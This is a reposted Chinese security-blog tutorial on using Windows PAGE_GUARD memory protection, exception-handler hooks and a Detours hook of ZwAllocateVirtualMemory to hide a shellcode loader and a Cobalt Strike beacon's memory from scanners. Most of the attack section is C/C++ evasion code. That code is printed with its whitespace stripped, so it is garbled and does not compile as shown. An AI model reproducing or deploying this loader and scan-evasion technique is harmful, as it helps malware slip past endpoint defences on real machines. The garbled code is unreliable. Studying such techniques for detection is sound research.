从PAGE_GUARD HOOK 到内存扫描规避

admin 2025年1月22日09:29:26评论17 views字数 6110阅读20分22秒阅读模式
免责声明 由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号安全洞察知识图谱及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

1详细介绍

作者:Arcueid(先知社区)原文:https://xz.aliyun.com/t/17046

前两天看见鸭哥的文章https://mp.weixin.qq.com/s/cSZTzVSbUExF9A-7TsmWvw

里面利用内存的PAGE_GUARD属性 进行规避扫描 学习一下 记录一下过程

探测

先简单了解一下PAGE_GUARD

PAGE_GUARD属性为内存提供一次性警报

访问PAGE_GUARD修饰的地址会引发STATUS_GUARD_PAGE_VIOLATION异常 并移除PAGE_GUARD状态

#include<iostream>#include<windows.h>#include"loader.h"intmain(){LPVOIDlpMem=VirtualAlloc(0,sizeof(shellcode),MEM_COMMIT,PAGE_GUARD|PAGE_EXECUTE_READWRITE);memcpy(lpMem,shellcode,sizeof(shellcode));memcpy(lpMem,shellcode,sizeof(shellcode));printf("%p n",lpMem);((void(*)(void))lpMem)();system("pause");}

从PAGE_GUARD HOOK 到内存扫描规避从PAGE_GUARD HOOK 到内存扫描规避

可以看见在第二次尝试写的时候成功写入 注意一下这里是用的调试 所以异常是被处理了的 直接跑是不行的

从PAGE_GUARD HOOK 到内存扫描规避

hook

现在利用这个异常我们已经可以进行hook了 但是问题是只能进行一次 因为PAGE_GUARD会被消除 这时候我们可以利用SIGNLE_STEP 单步异常来再次设置属性 恢复执行

将eflags的TF位置1 即可触发单步异常

这里的处理类似硬断hook

#include<iostream>#include<windows.h>#include"loader.h"typedefstruct_CIntelligentHookedFunction{void*from;void*to;void**original;}CIntelligentHookedFunction;typedefstruct_CHooks{CIntelligentHookedFunction*hookedFunctions;size_tcount;size_tcapacity;}CHooks;CHooksg_hooks={NULL,0,0};staticvoidAddPageGuardProtect(void*addr){DWORDoldProtect;MEMORY_BASIC_INFORMATIONmbi;SYSTEM_INFOsysInfo;GetSystemInfo(&sysInfo);VirtualQuery(addr,&mbi,sizeof(MEMORY_BASIC_INFORMATION));VirtualProtect(addr,sysInfo.dwPageSize,mbi.Protect|PAGE_GUARD,&oldProtect);}constCIntelligentHookedFunction*CHooks_GetHookedFunctions(size_t*count){*count=g_hooks.count;returng_hooks.hookedFunctions;}LONGNTAPIExceptionCallBack(struct_EXCEPTION_POINTERS*ExceptionInfo){LPVOIDExceptionAddress=ExceptionInfo->ExceptionRecord->ExceptionAddress;if(ExceptionInfo->ExceptionRecord->ExceptionCode==EXCEPTION_GUARD_PAGE){#ifdef _WIN64uintptr_tip=(uintptr_t)ExceptionInfo->ContextRecord->Rip;#elseuintptr_tip=(uintptr_t)ExceptionInfo->ContextRecord->Eip;#endifsize_tcount;constCIntelligentHookedFunction*funcs=CHooks_GetHookedFunctions(&count);for(size_ti=0;i<count;++i){if(ip==(uintptr_t)funcs[i].from){#ifdef _WIN64*funcs[i].original=(void*)ExceptionInfo->ContextRecord->Rip;ExceptionInfo->ContextRecord->Rip=(uintptr_t)funcs[i].to;#else*funcs[i].original=(void*)ExceptionInfo->ContextRecord->Eip;ExceptionInfo->ContextRecord->Eip=(uintptr_t)funcs[i].to;#endifbreak;}}ExceptionInfo->ContextRecord->EFlags|=0x100;returnEXCEPTION_CONTINUE_EXECUTION;}elseif(ExceptionInfo->ExceptionRecord->ExceptionCode==EXCEPTION_SINGLE_STEP){#ifdef _WIN64uintptr_tip=(uintptr_t)ExceptionInfo->ContextRecord->Rip;#elseuintptr_tip=(uintptr_t)ExceptionInfo->ContextRecord->Eip;#endifsize_tcount;constCIntelligentHookedFunction*funcs=CHooks_GetHookedFunctions(&count);for(size_ti=0;i<count;++i){if(ip==(uintptr_t)funcs[i].from){AddPageGuardProtect(funcs[i].from);break;}}returnEXCEPTION_CONTINUE_EXECUTION;}returnEXCEPTION_CONTINUE_SEARCH;}voidCHooks_Init(){g_hooks.hookedFunctions=NULL;g_hooks.count=0;g_hooks.capacity=0;AddVectoredExceptionHandler(1,&ExceptionCallBack);}voidCHooks_AddHook(void*_Function,void*_Hooked,void**_Original){if(g_hooks.count==g_hooks.capacity){g_hooks.capacity=g_hooks.capacity==0?4:g_hooks.capacity*2;g_hooks.hookedFunctions=(CIntelligentHookedFunction*)realloc(g_hooks.hookedFunctions,g_hooks.capacity*sizeof(CIntelligentHookedFunction));if(!g_hooks.hookedFunctions){exit(1);}}AddPageGuardProtect(_Function);CIntelligentHookedFunctionhook={_Function,_Hooked,_Original};g_hooks.hookedFunctions[g_hooks.count++]=hook;}typedefint(WINAPI*pMessageBoxW)(_In_opt_HWNDhWnd,_In_opt_LPCWSTRlpText,_In_opt_LPCWSTRlpCaption,_In_UINTuType);pMessageBoxWoriMessageBoxW=MessageBoxW;intWINAPImyMessageBoxW(_In_opt_HWNDhWnd,_In_opt_LPCWSTRlpText,_In_opt_LPCWSTRlpCaption,_In_UINTuType){returnoriMessageBoxW(hWnd,L"Hooked",lpCaption,uType);}intmain(){CHooks_Init();CHooks_AddHook(MessageBoxW,myMessageBoxW,(void**)&oriMessageBoxW);LPVOIDlpMem=VirtualAlloc(0,sizeof(shellcode),MEM_COMMIT,PAGE_GUARD|PAGE_EXECUTE_READWRITE);memcpy(lpMem,shellcode,sizeof(shellcode));((void(*)(void))lpMem)();}

这里写了一个messagebox的shellcode 我们测一下

从PAGE_GUARD HOOK 到内存扫描规避

接管beacon

首先要修改一下VEH的逻辑 这里我们不是通过PAGE_GUARD去hook函数 我们只是要保护内存

LONGNTAPIExceptionCallBack(struct_EXCEPTION_POINTERS*ExceptionInfo){if(ExceptionInfo->ExceptionRecord->ExceptionCode==EXCEPTION_GUARD_PAGE){lastGuardAddress=(LPVOID)ExceptionInfo->ExceptionRecord->ExceptionInformation[1];ExceptionInfo->ContextRecord->EFlags|=0x100;returnEXCEPTION_CONTINUE_EXECUTION;}elseif(ExceptionInfo->ExceptionRecord->ExceptionCode==EXCEPTION_SINGLE_STEP){if(lastGuardAddress!=nullptr){AddPageGuardProtect(lastGuardAddress);lastGuardAddress=nullptr;}returnEXCEPTION_CONTINUE_EXECUTION;}returnEXCEPTION_CONTINUE_SEARCH;}

那么现在我们利用Detours去hook ZwAllocateVirtualMemory 接管beacon 使之分配的内存带上PAGE_GUARD属性

HMODULEhNtdll=GetModuleHandle(L"ntdll.dll");pZwAllocateVirtualMemoryZwAllocateVirtualMemory=(pZwAllocateVirtualMemory)(GetProcAddress(hNtdll,"ZwAllocateVirtualMemory"));pZwAllocateVirtualMemoryoriZwAllocateVirtualMemory=ZwAllocateVirtualMemory;NTSTATUSNTAPImyZwAllocateVirtualMemory(_In_HANDLEProcessHandle,_Inout__At_(*BaseAddress,_Readable_bytes_(*RegionSize)_Writable_bytes_(*RegionSize)_Post_readable_byte_size_(*RegionSize))PVOID*BaseAddress,_In_ULONG_PTRZeroBits,_Inout_PSIZE_TRegionSize,_In_ULONGAllocationType,_In_ULONGProtect){NTSTATUSstatus=oriZwAllocateVirtualMemory(ProcessHandle,BaseAddress,ZeroBits,RegionSize,AllocationType,Protect);do{if(status!=0){break;}if(ProcessHandle!=GetCurrentProcess()){break;}if(AllocationType!=MEM_COMMIT){break;}if(Protect!=PAGE_EXECUTE_READWRITE){break;}else{status=oriZwAllocateVirtualMemory(ProcessHandle,BaseAddress,ZeroBits,RegionSize,AllocationType,Protect|PAGE_GUARD);}}while(false);returnstatus;}voidVEH_init(){AddVectoredExceptionHandler(1,&ExceptionCallBack);}....DetourTransactionBegin();DetourUpdateThread(GetCurrentThread());DetourAttach(&(PVOID&)oriZwAllocateVirtualMemory,myZwAllocateVirtualMemory);DetourTransactionCommit();

只hook RWX的

效果如下

从PAGE_GUARD HOOK 到内存扫描规避

从PAGE_GUARD HOOK 到内存扫描规避

会发现实际上还是有几个地方没有保护上 我的考虑是去hook NtProtectVirtualMemory 对任何修改为带X权限的内存 额外加个PAGE_GUARD 但是没什么用

因为对CS的实现不是很了解 这块没有研究明白 吊大老哥可以指点一下

从PAGE_GUARD HOOK 到内存扫描规避

2免费社区

安全洞察知识图谱星球是一个聚焦于信息安全对抗技术和企业安全建设的话题社区,也是一个[免费]的星球,欢迎大伙加入积极分享红蓝对抗、渗透测试、安全建设等热点主题

从PAGE_GUARD HOOK 到内存扫描规避
从PAGE_GUARD HOOK 到内存扫描规避

原文始发于微信公众号(安全洞察知识图谱):从PAGE_GUARD HOOK 到内存扫描规避

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月22日09:29:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从PAGE_GUARD HOOK 到内存扫描规避http://cn-sec.com/archives/3658561.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息